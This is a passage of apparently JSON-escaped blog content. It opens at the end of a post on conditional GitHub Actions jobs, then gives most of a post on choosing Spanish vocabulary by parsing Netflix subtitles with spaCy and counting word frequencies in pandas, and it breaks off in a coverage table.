#96D0FF\"\u003esteps.changed-files-yaml.outputs.src_any_changed == 'false'\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e        \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003erun\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e|\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #96D0FF\"\u003e          echo \"No terraform files changed\"\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003ch1\u003eConclusion\u003c/h1\u003e\n\u003cp\u003eHopefully with this you can start speeding up your github actions and making the\ndeveloper experience enjoyable!\u003c/p\u003e","category":"Development","date":"2023-10-28T19:00:00-05:00","tags":["git","github"],"title":"Speed up github actions with conditional jobs, even with required checks"}]},"Pandas":{"count":1,"posts":[{"id":["2022","learning_spanish"],"path":"2022/learning_spanish","contentHtml":"\u003cp\u003eI've been living in Puerto Rico for 4 years but two of those have been COVID and so I haven't been able to practice Spanish as much as I'd like. So to speed up my learning I've decided I want to watch a lot of spanish speaking television to start training my ears, but to do this I need a baseline of words I understand to be able to even know what they are saying!\u003c/p\u003e\n\u003cp\u003eLearning through apps like Duolingo, Drops, etc start with weird topics like vegetables that don't get you to a very good baseline for actually understanding daily conversations, so I think consuming TV is a better use of my time.\u003c/p\u003e\n\u003ch2\u003eSubtitles\u003c/h2\u003e\n\u003cp\u003eI've decided the way to understand what the best words to study are is to download every subtitle for every episode of a show I want to watch and then count each word.  The more a word is spoken the more important it is for me to know it since I'll be hearing it a lot in the show.\u003c/p\u003e\n\u003cp\u003eI'm going to download subtitles from Netflix. Subtitles in Netflix are in WebVTT format, which looks like this:\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"\" data-theme=\"default\"\u003e\u003ccode data-language=\"\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003e248\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003e00:17:58.285 --\u003e 00:18:01.163  position:50.00%,middle  align:middle size:80.00%  line:79.33% \u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003eYo de verdad espero que ustedes\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003eme vean como una amiga, ¿mmm?\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003e\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003e249\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003e00:18:01.247 --\u003e 00:18:02.539  position:50.00%,middle  align:middle size:80.00%  line:84.67% \u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003eNo como una madrastra.\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003e\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003e250\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003e00:18:04.250 --\u003e 00:18:06.127  position:50.00%,middle  align:middle size:80.00%  line:84.67% \u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003eYo nunca te vi como una madrastra.\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003eIt gives you a start time, end time, and the text on the screen.   So my first process was parsing this format and just turning it into a list of words using https://github.com/glut23/webvtt-py.\u003c/p\u003e\n\u003ch3\u003eDummy parsing\u003c/h3\u003e\n\u003cp\u003eWhat I basically did was \u003ccode\u003etext.split(\" \")\u003c/code\u003e and started counting the words.   This approach was quick and painless but it had a few downs falls.    Some words \u003cem\u003elook\u003c/em\u003e the same when in reality they are not and so this meant I'd have to study every meaning of a word even if it was more rare.\u003c/p\u003e\n\u003cp\u003eAn example of this is the word \"como\", you can say:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003eHaz como te digo: \"Do as I say\", where como means \"as\"\u003c/li\u003e\n\u003cli\u003ecomo tacos todos los dias: \"I eat tacos every day\", where como is a conjugated form of the verb \"to eat\"\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003eI need to know which version of a word is being used so I can count it properly.\u003c/p\u003e\n\u003ch3\u003eRegular Expressions are always the answer\u003c/h3\u003e\n\u003cp\u003eI couldn't figure out what the word was without it being in a complete sentence, but subtitles are fragments.   They are split up into timings for displaying on the screen but they don't include entire sentences.  For example, it might look like this:\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"\" data-theme=\"default\"\u003e\u003ccode data-language=\"\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003e23\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003e00:01:21.960 --\u003e 00:01:23.520  position:50.00%,middle  align:middle size:80.00%  line:84.67% \u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003eSolo las que luchan por ellos\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003e\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003e24\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003e00:01:23.680 --\u003e 00:01:25.680  position:50.00%,middle  align:middle size:80.00%  line:84.67% \u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003econsiguen sus sueños.\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003eI want to detect the start of a sentence and the end of a sentence and then combine it, so that you end up with \"Solo las que luchan por ellos consiguen sus sueños.\".   My first thought was a regular expression on punctuation.   This worked well \u003cem\u003emost\u003c/em\u003e of the time but there were enough exceptions to the rule that it broke often on generated a lot of broken sentences:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003eAbbreviations like \"EE. UU\" for estados unidos (united states)\u003c/li\u003e\n\u003cli\u003eEllipsis\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003eSplitting on spaces also didn't work for identifying the parts of speech since I needed the context around the word.\u003c/p\u003e\n\u003ccenter\u003e\n\u003cimg src=\"/images/posts/learning_spanish/regex-extraction.png\"\u003e\n\u003c/center\u003e\n\u003ch2\u003eNatural Language Processing\u003c/h2\u003e\n\u003cp\u003eSo to solve my pain I decided to grab https://spacy.io/ and do some NLP on the subtitles so that I could identify the proper parts of speech and get an accurate representation of the words I needed to learn.\u003c/p\u003e\n\u003cp\u003eThe way spaCy works is you can send it a sentence and it'll return you a set of tokens:\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"\" data-theme=\"default\"\u003e\u003ccode data-language=\"\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003e\u003e\u003e\u003e import spacy\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003e\u003e\u003e\u003e nlp = spacy.load(\"es_core_news_sm\")\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003e\u003e\u003e\u003e [x.pos_ for x in nlp(\"Hola, como estas?\")]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003e['PROPN', 'PUNCT', 'SCONJ', 'PRON', 'PUNCT']\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003eSo now I could identify the parts of speech and pull sentences together through end of sentence punctation.   The first thing I did was generate a CSV of sentences that looked like this:\u003c/p\u003e\n\u003ctable\u003e\n\u003ctbody\u003e\u003ctr\u003e\n\u003cth\u003esentence\u003c/th\u003e\n\u003cth\u003estart\u003c/th\u003e\n\u003cth\u003eend\u003c/th\u003e\n\u003cth\u003eshow\u003c/th\u003e\n\u003cth\u003efile\u003c/th\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003eSi no, le voy a cortar todos los deditos\u003c/td\u003e\n\u003ctd\u003e00:00:20.605\u003c/td\u003e\n\u003ctd\u003e00:00:24.125\u003c/td\u003e\n\u003ctd\u003eEl marginal\u003c/td\u003e\n\u003ctd\u003eEl marginal S02E02 WEBRip Netflix es[cc].vtt\u003c/td\u003e\n\u003c/tr\u003e\n\u003c/tbody\u003e\u003c/table\u003e\n\u003cp\u003eOnce I had a CSV of sentences I could send those back through spaCy for NLP and then start counting words, to generate another CSV:\u003c/p\u003e\n\u003ctable\u003e\n\u003ctbody\u003e\u003ctr\u003e\n\u003cth\u003eword\u003c/th\u003e\n\u003cth\u003epos\u003c/th\u003e\n\u003cth\u003eshow\u003c/th\u003e\n\u003cth\u003efile\u003c/th\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003ea\u003c/td\u003e\n\u003ctd\u003eADP\u003c/td\u003e\n\u003ctd\u003eEl marginal\u003c/td\u003e\n\u003ctd\u003eEl marginal S02E02 WEBRip Netflix es[cc].vtt\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003ecortar\u003c/td\u003e\n\u003ctd\u003eVERB\u003c/td\u003e\n\u003ctd\u003eEl marginal\u003c/td\u003e\n\u003ctd\u003eEl marginal S02E02 WEBRip Netflix es[cc].vtt\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003etodos\u003c/td\u003e\n\u003ctd\u003ePRON\u003c/td\u003e\n\u003ctd\u003eEl marginal\u003c/td\u003e\n\u003ctd\u003eEl marginal S02E02 WEBRip Netflix es[cc].vtt\u003c/td\u003e\n\u003c/tr\u003e\n\u003c/tbody\u003e\u003c/table\u003e\n\u003cp\u003eFrom there I had all the data I needed!   So now it was time to start doing some data analysis!\u003c/p\u003e\n\u003ch2\u003eData analysis\u003c/h2\u003e\n\u003cp\u003eUsing a jupyter notebook ( https://jupyter.org/ ) I grabbed pandas ( https://pandas.pydata.org/ ) and read in my CSVs to start analyzing the results.\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"\" data-theme=\"default\"\u003e\u003ccode data-language=\"\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003eimport numpy as np\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003eimport pandas as pd\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003eimport matplotlib.pyplot as plt\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003epd.set_option('display.max_rows', 1000)\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003ewords = pd.read_csv('word_data.csv.gz', compression='gzip', delimiter=',')\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003eThe words dataframe is built up out of the second table I showed above with just words and their parts of speech.   I started off grouping the dataset by the word so I could get a count for how many times it was spoken in every series I parsed:\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"\" data-theme=\"default\"\u003e\u003ccode data-language=\"\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003egrouped_result = (words.groupby(words.word).size() \u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003e   .sort_values(ascending=False) \u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003e   .reset_index(name='count')\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003e   .drop_duplicates(subset='word'))\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003e\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003egrouped_result.head(300)\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003eWhich returned a list of words and their count:\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"\" data-theme=\"default\"\u003e\u003ccode data-language=\"\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003e\tword\tcount\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003e0\tque\t94430\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003e1\tno\t75931\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003e2\ta\t70968\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003e3\tde\t67982\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003e4\tser\t64226\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003e5\tla\t52143\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003e6\ty\t44390\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003e7\testar\t37819\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003e8\tel\t35920\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003eNow I wanted to identify where my diminishing returns would be.   Is there a set of words that I must learn because they are spoken so often that I wouldn't understand a conversation if they weren't in my vocabulary?\u003c/p\u003e\n\u003ccenter\u003e\n\u003cimg src=\"/images/posts/learning_spanish/diminishing_returns.png\"\u003e\n\u003c/center\u003e\n\u003cp\u003eAs you can see in this chart, the usage for words drops off at around the ~200 mark.   So there are basically 150 words I \u003cem\u003emust\u003c/em\u003e know and then the rest are equally important.   I wasn't quite happy with this because some parts of speech are higher priority than others, for example I think having a strong understanding of the popular verbs will go a long way.  So I also wanted to identify what are the most important verbs to learn:\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"\" data-theme=\"default\"\u003e\u003ccode data-language=\"\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003egrouped_verbs = (words[words.pos == 'VERB'].groupby(['word', 'pos']).size() \u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003e   .sort_values(ascending=False) \u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003e   .reset_index(name='count')\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003e   .drop_duplicates(subset='word'))\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003e\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003egrouped_verbs.head(50)\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003eWhich got me this:\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"\" data-theme=\"default\"\u003e\u003ccode data-language=\"\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003e\tword\tpos\tcount\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003e0\ttener\tVERB\t22072\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003e1\thacer\tVERB\t14946\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003e2\tir\tVERB\t12570\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003e3\tdecir\tVERB\t11314\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003e4\tquerer\tVERB\t11083\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003e5\tver\tVERB\t10269\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003e6\testar\tVERB\t9780\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003e7\tsaber\tVERB\t8704\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003e8\tser\tVERB\t7674\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003e9\tdar\tVERB\t5722\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003e10\tpasar\tVERB\t5528\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003e11\thablar\tVERB\t5355\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003e12\tvenir\tVERB\t5145\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003e13\tcreer\tVERB\t4895\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003e14\tsalir \tVERB\t3395\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003eVerbs had a slightly different drop-off pattern when I targeted them directly:\u003c/p\u003e\n\u003ccenter\u003e\n\u003cimg src=\"/images/posts/learning_spanish/diminishing_verbs.png\"\u003e\n\u003c/center\u003e\n\u003cp\u003eI get a big bang for my buck by learning those top 40 verbs.   Nouns on the other hand are much more spread out and most are evenly distributed:\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"\" data-theme=\"default\"\u003e\u003ccode data-language=\"\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003eword\tpos\tcount\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003e0\tgracias\tNOUN\t4676\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003e1\tfavor\tNOUN\t4625\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003e2\tseñor\tNOUN\t4116\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003e3\tverdad\tNOUN\t3566\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003e4\tvida\tNOUN\t2673\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003e5\thombre\tNOUN\t2601\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003e6\tmadre\tNOUN\t2597\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003e7\tvez\tNOUN\t2537\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003e8\ttiempo\tNOUN\t2492\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003e9\thijo\tNOUN\t2215\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003ccenter\u003e\n\u003cimg src=\"/images/posts/learning_spanish/diminishing_nouns.png\"\u003e\n\u003c/center\u003e\n\u003cp\u003eSo then I thought to myself... How much of a show would I understand if I just learned these most important words?  So I started by excluding some of the easy parts of speech and focused on the most important:\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"\" data-theme=\"default\"\u003e\u003ccode data-language=\"\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003efind_important_words = (words[~words.pos.isin(['PRON', 'CONJ', 'ADP', 'ADV', 'SCONJ', 'AUX', 'INTJ'])].groupby(['word', 'pos']).size() \u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003e   .sort_values(ascending=False) \u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003e   .reset_index(name='count')\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003e   .drop_duplicates(subset='word'))\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003e\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003efind_important_words.head(50)\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003eThe top 20 were all verbs except for \u003ccode\u003ebueno\u003c/code\u003e and \u003ccode\u003egracias\u003c/code\u003e.   So now with my list of what I considered \"important words\" I plotted it to find what amount of words I wanted to learn:\u003c/p\u003e\n\u003ccenter\u003e\n\u003cimg src=\"/images/posts/learning_spanish/important_words.png\"\u003e\n\u003c/center\u003e\n\u003cp\u003eIt looks like 200 learned words would give me a reasonable amount of understanding for a series, so I decided to calculate how much of a series I would understand if I learned just those first 200 words:\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"\" data-theme=\"default\"\u003e\u003ccode data-language=\"\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003epercentages = {}\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003e\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003efor show_name in words['media'].drop_duplicates().values:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003e    words_in_show = (words[words.media == show_name].groupby(words.word).size() \u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003e       .sort_values(ascending=False) \u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003e       .reset_index(name='count')\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003e       .drop_duplicates(subset='word'))\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003e    \u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003e    total_words_handled = 0\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003e\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003e    for word in grouped_result['word'][:200]:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003e        values = words_in_show[words_in_show.word == word]['count'].values\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003e\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003e        if values.size \u003e 0:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003e            total_words_handled += values[0]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003e\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003e    percentages[show_name] = total_words_handled / words_in_show.sum().loc['count']\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003eNow I had a table that would show me what percentage of the spoken words were covered by the first 200 words in my list:\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"\" data-theme=\"default\"\u003e\u003ccode data-language=\"\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003ep_df = pd.DataFrame(percentages.items(), columns=['show', 'percentage'])\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003ep_df = p_df.sort_values(by='percentage')\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003ep_df['percentage'] = p_df['percentage'] * 100\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003epd.options.display.float_format = '{:,.2f}%'.format\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003ep_df\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\u003ctable\u003e\n\u003ctbody\u003e\u003ctr\u003e\n\u003cth\u003eShow\u003c/th\u003e\n\u003cth\u003ePercentage\u003c/th\u003e\n\u003c/tr\u003e\u003ctr\u003e\n\u003ctd\u003eVerónica\u003c/td\u003e\n\u003ctd\u003e64.24%\u003c/td\u003e\n\u003c/tr\u003e\u003ctr\u003e\n\u003ctd\u003eEl ciudadano 